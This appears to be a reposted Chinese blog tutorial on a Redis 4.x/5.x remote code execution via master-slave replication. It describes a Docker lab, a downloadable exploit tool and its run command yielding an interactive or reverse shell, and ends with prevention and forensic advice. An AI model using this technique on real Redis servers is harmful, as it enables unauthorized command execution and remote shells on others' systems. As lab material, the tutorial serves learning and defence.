0


Redis基于主从复制的RCE

一 简介

主从复制的工作流程原理可以看下这篇文章,推荐看一下原理再做复现

Redis——Redis主从复制(工作流程详解)_stan Z的博客-CSDN博客_redis主从复制流程

二 影响范围

优势:可用在高版本redis上,redis4.x;5.x都可以,这些高版本的利用方式像:写入公钥,启动任务项都做了安全防护,不可用。

三 漏洞复现

1.环境搭建

            攻击机:192.168.1.145

            靶机:192.168.1.153

            这里使用centos7虚拟机使用docker拉取镜像进行搭建

            使用以下命令进行搭建
         docker search redis5.0 //查找镜像

         docker pull damonevking/redis5.0 //拉取下图第三个镜像

         docker run -p 6379:6379 -d damonevking/redis5.0 redis-serve  //运行容器,端口映射

出现以下图片说明搭建成功

2.漏洞复现(交互式shell,以及反弹shell)

             下载漏洞利用的工具

链接:https://pan.baidu.com/s/1gxJBpV1QWnrkTR_yZ81Izw
提取码:wars

使用以下命令运行脚本进行尝试攻击

python 3 redis-rce.py -r 192.168.1.153(目标Ip) -L 192.168.1.145(攻击机ip) -f exp.so

运行脚本后i为交互式shell,r为反弹shell

交互式shell如下图:

反弹shell如下,根据提示输入Ip,与监听的端口 (记得要在攻击机监听端口哦)

四 预防方法

很多主从复制导致任意命令执行都是通过Redis的未授权访问漏洞导致了横向移动攻击方式的发生

  1. 主动关闭Redis的6379端口不对外开放;

  2. 设置密码认证,通过远程访问Redis服务的都要经过密码认证才能访问。

五 入侵溯源思路

  1. 查看redis服务器的网络连接,一般master会与slave通过6379端口进行通信,当redis子进程有未知的端口的网络连接时,多半都是恶意的反弹或者一些网络下载行为;

  2. 查看命令历史,很可能攻击者会通过wget,或者curl这些网络工具下载一些恶意脚本到本地可写目录linux,常见的就是/mnt/目录下,着重审查。


本文转载自: https://blog.csdn.net/m0_58596609/article/details/127297104
版权归原作者 种树人1 所有, 如有侵权,请联系我们删除。

“Redis基于主从复制的RCE”的评论:

还没有评论